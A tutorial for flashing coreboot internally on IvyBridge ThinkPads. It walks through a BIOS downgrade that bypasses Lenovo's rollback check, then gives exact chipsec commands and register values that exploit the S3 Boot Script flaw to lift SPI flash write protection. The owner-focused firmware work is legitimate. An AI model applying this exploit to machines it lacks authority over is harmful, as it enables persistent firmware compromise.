Software BIOS/coreboot flashing on xx30 ThinkPads

Old versions of stock BIOS for IvyBridge ThinkPad models have several security issues. Two of them can be used for flashing coreboot internally (without using external SPI programmer).

First is the fact the SMM_BWP and BLE are not enabled in BIOS versions released before 2014. I have tested many versions on T430 and X230 and found out that SMM_BWP=1 only since the update, the changelog of which contains following line:

(New) Improved the UEFI BIOS security feature.

Second is S3 Boot Script vulnerability, that was discovered and fixed later.

Requirements

  • USB drive (in case you need to downgrade BIOS)
  • Linux install that (can be) loaded in UEFI mode

BIOS versions

Below is a list of BIOS versions that are vulnerable enough for our goals, per model. The version number means that you need to downgrade to that or earlier version.

X230: 2.60
X230T: 2.58
T430: 2.64
T430s: 2.59
T530: 2.60
W530: 2.58

If your BIOS version is equal or lower, skip to the Creating a backup section. If not, go through the downgrade process, described next.

Downgrading BIOS

Go to the Lenovo web site and download BIOS Update Bootable CD for your machine of needed version (see above).

Lenovo states that BIOS has "security rollback prevention", meaning once you update it to some version X, you will not be able to downgrade it to pre-X version. That's not true. It seems that this is completely client-side restriction in flashing utilities (both Windows utility and Bootable CD). You just need to call winflash.exe or dosflash.exe directly. Therefore you need to modify the bootable CD image you just downloaded.

Extract an El Torito image:

$ geteltorito -o ./bios.img g1uj41us.iso

Mount the partition in that image:

# mount -t vfat ./bios.img /mnt -o loop,offset=16384

List files, find the AUTOEXEC.BAT file and the FLASH directory:

$ ls /mnt
$ ls /mnt/FLASH

Inside the FLASH directory, there should be a directory called G1ET93WW or similar (exact name depends on your ThinkPad model). See what's inside:

$ ls /mnt/FLASH/G1ET93WW

There must be a file with .FL1 extension called $01D2000.FL1 or something similar.

Now open the AUTOEXEC.BAT file:

# vim /mnt/AUTOEXEC.BAT

You will see a list of commands:

@ECHO OFF
PROMPT $p$g
cd c:\flash
command.com

Replace the last line (command.com) with this (change path to the .FL1 file according to yours):

dosflash.exe /sd /file G1ET93WW\$01D2000.FL1

Save the file, then unmount the partition:

# unmount /mnt

Write this image to a USB drive (replace /dev/sdX with your USB drive device name):

# dd if=./bios.img of=/dev/sdX bs=1M

Now reboot and press F1 to enter BIOS settings. Open the Startup tab and set the startup mode to Legacy Only (or Legacy First):

Press F10 to save changes and reboot.

Now, before you process, make sure that AC adapter is connected! If your battery will die during the process, you'll likely need external programmer to recover.

Boot from the USB drive (press F12 to select boot device), and BIOS flashing process should begin:

It may reboot a couple of times in the process. Do not interrupt it.

When it's completed, go back to the BIOS settings and set startup mode to UEFI (or Both/UEFI First). This is required for vulnerability exploitation.

Then boot to your system and make sure that /sys/firmware/efi or /sys/firmware/efivars exist.

Examining protections (theory)

There are two main ways that Intel platform provides to protect BIOS chip:

  • BIOS_CNTL register of LPC Interface Bridge Registers (accessible via PCI configuration space, offset 0xDC). It has:

    • SMM_BWP (SMM BIOS Write Protect) bit. If set to 1, the BIOS is writable only in SMM. Once set to 1, cannot be changed anymore.
    • BLE (BIOS Lock Enable) bit. If set to 1, setting BIOSWE to 1 will raise SMI. Once set to 1, cannot be changed anymore.
    • BIOSWE (BIOS Write Enable) bit. Controls whether BIOS is writable. This bit is always R/W.
  • SPI Protected Range Registers (PR0-PR4) of SPI Configuration Registers (SPIBAR+0x74 - SPIBAR+0x84). Each register has bits that define protected range, plus WP bit, that defines whether write protection is enabled.

    There's also FLOCKDN bit of HSFS register (SPIBAR+0x04) of SPI Configuration Registers. When set to 1, PR0-PR4 registers cannot be written. Once set to 1, cannot be changed anymore.

To be able to flash, we need SMM_BWP=0, BIOSWE=1, BLE=0, FLOCKDN=0 or SPI protected ranges (PRx) to have a WP bit set to 0.

Let's see what we have. Examine HSFS register:

# chipsec_main -m chipsec.modules.common.spi_lock

You should see that FLOCKDN=1:

[x][ =======================================================================
[x][ Module: SPI Flash Controller Configuration Locks
[x][ =======================================================================
[*] HSFS = 0xE009 << Hardware Sequencing Flash Status Register (SPIBAR + 0x4)
    [00] FDONE            = 1 << Flash Cycle Done
    [01] FCERR            = 0 << Flash Cycle Error
    [02] AEL              = 0 << Access Error Log
    [03] BERASE           = 1 << Block/Sector Erase Size
    [05] SCIP             = 0 << SPI cycle in progress
    [13] FDOPSS           = 1 << Flash Descriptor Override Pin-Strap Status
    [14] FDV              = 1 << Flash Descriptor Valid
    [15] FLOCKDN          = 1 << Flash Configuration Lock-Down

Then check BIOS_CNTL and PR0-PR4:

# chipsec_main -m common.bios_wp

Good news: on old BIOS versions, SMM_BWP=0 and BLE=0.

Bad news: there are 4 write protected SPI ranges:

 [x][ =======================================================================
 [x][ Module: BIOS Region Write Protection
 [x][ =======================================================================
 [*] BC = 0x 8 << BIOS Control (b:d.f 00:31.0 + 0xDC)
     [00] BIOSWE           = 0 << BIOS Write Enable
     [01] BLE              = 0 << BIOS Lock Enable
     [02] SRC              = 2 << SPI Read Configuration
     [04] TSS              = 0 << Top Swap Status
     [05] SMM_BWP          = 0 << SMM BIOS Write Protection
 [-] BIOS region write protection is disabled!

 [*] BIOS Region: Base = 0x00500000, Limit = 0x00BFFFFF
 SPI Protected Ranges
 ------------------------------------------------------------
 PRx (offset) | Value    | Base     | Limit    | WP? | RP?
 ------------------------------------------------------------
 PR0 (74)     | 00000000 | 00000000 | 00000000 | 0   | 0
 PR1 (78)     | 8BFF0B40 | 00B40000 | 00BFFFFF | 1   | 0
 PR2 (7C)     | 8B100B10 | 00B10000 | 00B10FFF | 1   | 0
 PR3 (80)     | 8ADE0AD0 | 00AD0000 | 00ADEFFF | 1   | 0
 PR4 (84)     | 8AAF0800 | 00800000 | 00AAFFFF | 1   | 0

Other way to examine SPI configuration registers is to just dump SPIBAR:

# chipsec_util mmio dump SPIBAR

You will see SPIBAR address (0xFED1F800) and registers (for example, 00000004 is HSFS):

[mmio] MMIO register range [0x00000000FED1F800:0x00000000FED1F800+00000200]:
+00000000: 0BFF0500
+00000004: 0004E009
...

As you can see, the only thing we need is to unset WP bit on PR0-PR4. But that cannot be done once FLOCKDN is set to 1.

Now the fun part!

FLOCKDN may only be cleared by a hardware reset, which includes S3 state. On S3 resume boot path, the chipset configuration has to be restored and it's done by executing so-called S3 Boot Scripts. You can dump these scripts by executing:

# chipsec_util uefi s3bootscript

There are many entries. Along them, you can find instructions to write to HSFS (remember, we know that SPIBAR is 0xFED1F800):

 Entry at offset 0x2B8F (len = 0x17, header len = 0x0):
 Data:
 02 00 17 02 00 00 00 01 00 00 00 04 f8 d1 fe 00 |
 00 00 00 09 e0 04 00                            |
 Decoded:
   Opcode : S3_BOOTSCRIPT_MEM_WRITE (0x0002)
   Width  : 0x02 (4 bytes)
   Address: 0xFED1F804
   Count  : 0x1
   Values : 0x0004E009

These scripts are stored in memory. The vulnerability is that we can overwrite this memory, change these instructions and they will be executed on S3 resume. Once we patch that instruction to not set FLOCKDN bit, we will be able to write to PR0-PR4 registers.

Creating a backup

Before you proceed, please create a backup of the bios region. Then, in case something goes wrong, you'll be able to flash it back externally.

The me region is locked, so an attempt to create a full dump will fail. But you can back up the bios:

# flashrom -p internal -r bios_backup.rom --ifd -i bios

If you will ever need to flash it back, use --ifd -i bios as well:

# flashrom -p <YOUR_PROGRAMMER> -w bios_backup.rom --ifd -i bios

Caution: if you will omit --ifd -i bios for flashing, you will brick your machine, because your backup has FFs in place of fd and me regions. Flash only bios region!

Removing protections (practice)

The original boot script writes 0xE009 to HSFS. FLOCKDN is 15th bit, so let's write 0x6009 instead:

# chipsec_main -m tools.uefi.s3script_modify -a replace_op,mmio_wr,0xFED1F804,0x6009,0x2

You will get a lot of output and in the end you should see something like this:

 [*] Modifying S3 boot script entry at address 0x00000000DAF49B8F..
 [mem] 0x00000000DAF49B8F
 [*] Original entry:
  2  0 17  2  0  0  0  1  0  0  0  4 f8 d1 fe  0 |
  0  0  0  9 e0  4  0                            |
 [mem] buffer len = 0x17 to PA = 0x00000000DAF49B8F
  2  0 17  2  0  0  0  1  0  0  0  4 f8 d1 fe  0 |
  0  0  0  9 60  0  0                            |     `
 [mem] 0x00000000DAF49B8F
 [*] Modified entry:
  2  0 17  2  0  0  0  1  0  0  0  4 f8 d1 fe  0 |
  0  0  0  9 60  0  0                            |     `
 [*] After sleep/resume, check the value of register 0xFED1F804 is 0x6009
 [+] PASSED: The script has been modified. Go to sleep..

Now go to S3, then resume and check FLOCKDN. It should be 0:

# chipsec_main -m chipsec.modules.common.spi_lock

    ...
    [x][ =======================================================================
    [x][ Module: SPI Flash Controller Configuration Locks
    [x][ =======================================================================
    [*] HSFS = 0x6008 << Hardware Sequencing Flash Status Register (SPIBAR + 0x4)
        [00] FDONE            = 0 << Flash Cycle Done
        [01] FCERR            = 0 << Flash Cycle Error
        [02] AEL              = 0 << Access Error Log
        [03] BERASE           = 1 << Block/Sector Erase Size
        [05] SCIP             = 0 << SPI cycle in progress
        [13] FDOPSS           = 1 << Flash Descriptor Override Pin-Strap Status
        [14] FDV              = 1 << Flash Descriptor Valid
        [15] FLOCKDN          = 0 << Flash Configuration Lock-Down
    [-] SPI Flash Controller configuration is not locked
    [-] FAILED: SPI Flash Controller not locked correctly.
...

Remove WP from protected ranges:

# chipsec_util mmio write SPIBAR 0x74 0x4 0xAAF0800
# chipsec_util mmio write SPIBAR 0x78 0x4 0xADE0AD0
# chipsec_util mmio write SPIBAR 0x7C 0x4 0xB100B10
# chipsec_util mmio write SPIBAR 0x80 0x4 0xBFF0B40

Verify that it worked:

# chipsec_main -m common.bios_wp

    [x][ =======================================================================
    [x][ Module: BIOS Region Write Protection
    [x][ =======================================================================
    [*] BC = 0x 9 << BIOS Control (b:d.f 00:31.0 + 0xDC)
        [00] BIOSWE           = 1 << BIOS Write Enable
        [01] BLE              = 0 << BIOS Lock Enable
        [02] SRC              = 2 << SPI Read Configuration
        [04] TSS              = 0 << Top Swap Status
        [05] SMM_BWP          = 0 << SMM BIOS Write Protection
    [-] BIOS region write protection is disabled!

    [*] BIOS Region: Base = 0x00500000, Limit = 0x00BFFFFF
    SPI Protected Ranges
    ------------------------------------------------------------
    PRx (offset) | Value    | Base     | Limit    | WP? | RP?
    ------------------------------------------------------------
    PR0 (74)     | 0AAF0800 | 00800000 | 00AAF000 | 0   | 0
    PR1 (78)     | 0ADE0AD0 | 00AD0000 | 00ADE000 | 0   | 0
    PR2 (7C)     | 0B100B10 | 00B10000 | 00B10000 | 0   | 0
    PR3 (80)     | 0BFF0B40 | 00B40000 | 00BFF000 | 0   | 0
    PR4 (84)     | 00000000 | 00000000 | 00000000 | 0   | 0

Bingo!

Now you can flash coreboot (or anything else) with flashrom. Remember to flash only bios region (use --ifd -i bios -N). fd and me are still not writable.

Note that you should have an external SPI programmer as a backup method. It will help you recover if you flash non-working ROM by mistake.

Automation

Somebody created a wonderful tool called 1vyrain based on the information from this article. Basically it's a bootable live CD that automates all steps descibed above, it exploits your vulnerable BIOS and flashes patched ROM for your device (it can also flash any custom ROM such as coreboot).

Credits

Rafal Wojtczuk and Corey Kallenberg for discovering the vulnerability

pgera for the initial research and working solution

Lenovo for fake rollback protection

If you have any comments, contact me by email.
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